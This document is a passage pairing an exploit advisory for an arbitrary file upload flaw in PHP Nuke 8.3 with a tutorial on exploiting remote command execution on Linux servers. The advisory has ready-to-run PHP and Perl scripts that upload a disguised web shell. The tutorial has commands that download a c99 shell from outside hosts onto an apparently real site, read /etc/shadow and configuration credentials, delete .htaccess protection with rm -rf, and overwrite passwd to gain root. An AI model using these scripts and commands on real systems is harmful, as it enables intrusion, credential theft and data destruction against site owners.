PHP Nuke 8.3 MT Arbitrary File Upload Vulnerability

#
# Title : PHP Nuke 8.3 MT Arbitrary File Upload Vulnerability
# Author : Pentesters.ir
# Exploits Coded by : b3hz4d & 4n0nym0us
# Tested on: PHP Nuke 8.3
# Vendor : http://phpnuke.ir
# Specially Thanks To: Navid, Hossein, Ahmad, vahid, daryoush and all of the pentesters.ir members
#


Vulnerable File : ./includes/richedit/upload.php

Vulnerability occures in checking extension section :

...
94. $blacklist = array(".php", ".phtml", ".php3", ".php4", ".php5", ".php6", ".js", ".shtml", ".pl" ,".py");
95. foreach ($blacklist as $file)
96. {
97. if(preg_match("/$file\$/i", $_FILES['userfile']['name']))
98. {
99. echo "ERROR: Uploading executable files Not Allowed\n";
100. exit;
101. }
102. }
...

this section of code checks uploaded file extension with array of executable extensions.in line 97, preg-match() function
checks the extension in blacklist array but just checks the name after last dot.so we can't upload files such as file.php but we can rename file
to file.php.gif and if we want to upload php file, we should also include image header in file because of image size checking(gif,jpg,png,...)
and change the content-type(if necessary).you can rename your php file to something like file.php.01 and then use exploits to upload your php file.

Patch Solution:

remove "\$" from the preg_match() function

PHP Exploit :


<?php
///////////////////////////////////////////////////
#Iranian Pentesters Home
#PHP Nuke 8.3 MT AFU Vulnerability
#Coded by:4n0nym0us & b3hz4d
#http://www.pentesters.ir
///////////////////////////////////////////////////
//Settings:
$address = 'http://your-target.com';
$file = 'shell.php.01';
$prefix='pentesters_';


//Exploit:
@$file_data = "\x47\x49\x46\x38\x39\x61\x05\x00\x05\x00";
@$file_data .= file_get_contents($file);
file_put_contents($prefix . $file, $file_data);
$file = $prefix . $file;
echo "\n" . "///////////////////////////////////" ."\n";
echo " Iranian Pentesters Home" . "\n";
echo " PHP Nuke 8.3 MT RFU Vulnerability" . "\n";
echo "///////////////////////////////////" ."\n";
$address_c = $address . '/includes/richedit/upload.php';
$postdata = array("userfile" => "@$file;type=image/gif","upload" => "1","path" => "images","pwd" => "1");
$data = post_data($address_c, $postdata);
$start = strpos($data, "<img src=\"upload");
if ($start != null)
{
$data = substr($data,$start + 10);
$end = strpos($data, "\"");
$data = substr($data,0,$end);
echo "\n" . "Uploaded File: " . $address . "/includes/richedit/" . $data . "\n";
}
else
echo "\n" . "Upload Failed!!!";
function post_data($address, $data)
{
$curl = curl_init($address);
curl_setopt($curl, CURLOPT_USERAGENT, "Opera/9.0 (Windows NT 5.0; U; en)");
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
$content = curl_exec($curl);
curl_close($curl);
return $content;
}
?>






Perl Exploit:


#!/usr/bin/perl
###################################################
#//Iranian Pentesters Home
#//PHP Nuke 8.3 MT AFU Vulnerability
#//Coded by:4n0nym0us & b3hz4d
#//http://www.pentesters.ir
###################################################


use LWP;
use HTTP::Request::Common;
print "\n" . "///////////////////////////////////" ."\n";
print " Iranian Pentesters Home" . "\n";
print " PHP Nuke 8.3 MT AFU Vulnerability" . "\n";
print "///////////////////////////////////" ."\n";
print "\n" . "Syntax: perl xpl.pl http://your-target.com shell.php.01 [prefix]" . "\n\n";
my $url = $ARGV[0]."/includes/richedit/upload.php";
my $filename = $ARGV[1];
my $prefix = $ARGV[2];
my $rfile = $prefix . $filename . ".gif";
open fhandle, $ARGV[1] or die $!;
while (<fhandle>){
$shell .= $_;
}
close fhandle;
open fhandle, ">", $rfile or die $!;
print fhandle "\x47\x49\x46\x38\x39\x61\x05\x00\x05\x00"."\n".$shell;
close(fhandle);
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.12) Gecko/20101026");
my $req = POST $url, Content_Type => 'form-data',
Content => [
upload => "1",
path => 'images',
pwd => "1",
userfile => [ $rfile,$prefix . $filename ]
];
my $res = $ua->request($req);
$between=substr($res->as_string(), index($res->as_string(), '<img src="upload/')+10, index($res->as_string(), 'onclick="self.parent.') - index($res->as_string(), '<img src="upload/')-12);
print("Uploaded File: " . $ARGV[0]."/includes/richedit/".$between);
exit;

http://packetstormsecurity.org/files/view/102220/phpnukemt-shell.txt 

Remote Command Execution (RCE) Vulnerability ::: Exploting In Linux

Remote Command Execution Is A Kind Of Vulnerability In Which You Are Able To Run Commands On Victim Server.

This Is Usually A Hight Risk Vulnerability, And There Are Lots Of Methods For Using This Vulnerability, To Get The Access From The Victim Server.

When Ever, A Value Of A Variable Like "cmd" Inject To A Function That Is Enabled To Run Command, Such As System,Passthru And etc In PHP, And If You Are Able To Inject You Command In The Variable, Then RCE Happens.

There Are Lots Of Methods For Using This Vulnerability, Let's Talk About The Major Ways:

1-Download The Shell Script Code, In Victim Server, By Using Download Commands:
In Linux Os, There Are A Series Of Commands, That Enables You To Download The Special File On The Server,.

Let's See Example:

We Have The RCE In This Website.

Now, We Are Able To Inject "cmd" Variable.

Well, We Want To Download The File On The Server, Use On Of These Commands:

lwp-download http://[shell]

wget http://shell -O shell.php

fetch -o shell.php.php -p http://shell

lynx -source http://shell > shell.php

inks -source http://shell > shell.php

GET http://shell > shell.php
 
In My Example, Wget Doesn't Work, The I Tried lwp-download And Download The C99 Shell Script On The Server, Then Renamed That From C99.txt To C99.php.

http://angelptc.info/index.php?view=help&faq=1&cmd=lwp-download http://sh3llz.org/c99.txt
http://angelptc.info/index.php?view=help&faq=1&cmd=cp c99.txt c99.php

Well Done, Now We Have C99 Shell Script In http://angelptc.info/c99.php  .


2-Reading Files:

 2-1:Reading Shadow File: Shadow Is The Most Important File In Linux, Sometimes, The Shodow File Has The Permission Of Reading, Then , You Are Able To Read It By: cat /etc/shadow
After That, You Can Crack It And Get The Root Access.

 2-2:Reading Configuration File:
 Someitmes And In Some Website And Content Management Systems, There Are Good Information In Configuration File, For Example In Joomla/Mambo CMS, There Is A Section , In Which There Are The FTP Username And Password, Or Sometimes, The Website Owner, Puts The Password Of Hosting Control Panel In The Configuration File For Database Password Or etc.
And In Some Website Applications, Administrator Username And Password Store In Files, You Can Read Them, And Find Administratior Username And Password. 
You Can Read Configuration File With cat Command. 

 2-3 :Reading Other Hosts Web Application Configuration File:
 You Can Also Read Other Hosts Web Application's Configration File, In Order To Gain Information And Find Something Like FTP Information, Hosting Control Panel Information And Etc.

3:Removing Files: In Some Web Applications, Administrator Folder Is Password Protected, You Can Remove The File That Causes This Protection, And Use The Administrator Folder.
For Example, In Apache Web Server, .htaccess File Causes The Folder Protection, You Can delete The File With rm -rf Command And Use The Administrator Folder.
And Also, In Some Web Applications, The File Manager Or Upload Center Is Password Protected Again, You Can Remove This Protection With The rm -rf Command Again.


4.Updating Files:
In RCE, Editing File Is So Hard, Be Cause Linux Editors Like vi Or nano Has The Special Commands For Saving And Editing, Then You Should Update The Files,
Updating Files Is Usefull, For Example, If passwd File Has The Permission, You're Able To Read it, Delete It And Then Download The New Passwd That Edited By Yourself And Gets The Root Access To You.
Also, You Are Able To Update Configuration Files And The Files That Stores Username And Passwords, To Gain Administrator Access.
Steps Of Updating:
-Read File And Save It To Your Computer(cat command)
-Remove File(rm -rf command)
-Change The File You Have Downloaded And Upload It
-Download The File To The Server And Rename It. (download commands such as wget, get and etc)

 

5-Rename Uploaded File:

Sometimes, You Can Upload Images Or Texts Into Website, But, You Can't Upload PHP File, If There Is RCE Vulnerability, You Can Change The Name Of That File.

At First, Reanme You Shell Script And Change It To .jpg, .gif, .txt And Etc...

Then, Use The mv Command To Change The File Name.

 

mv file.txt file.php

Or Any Other Thing Like This.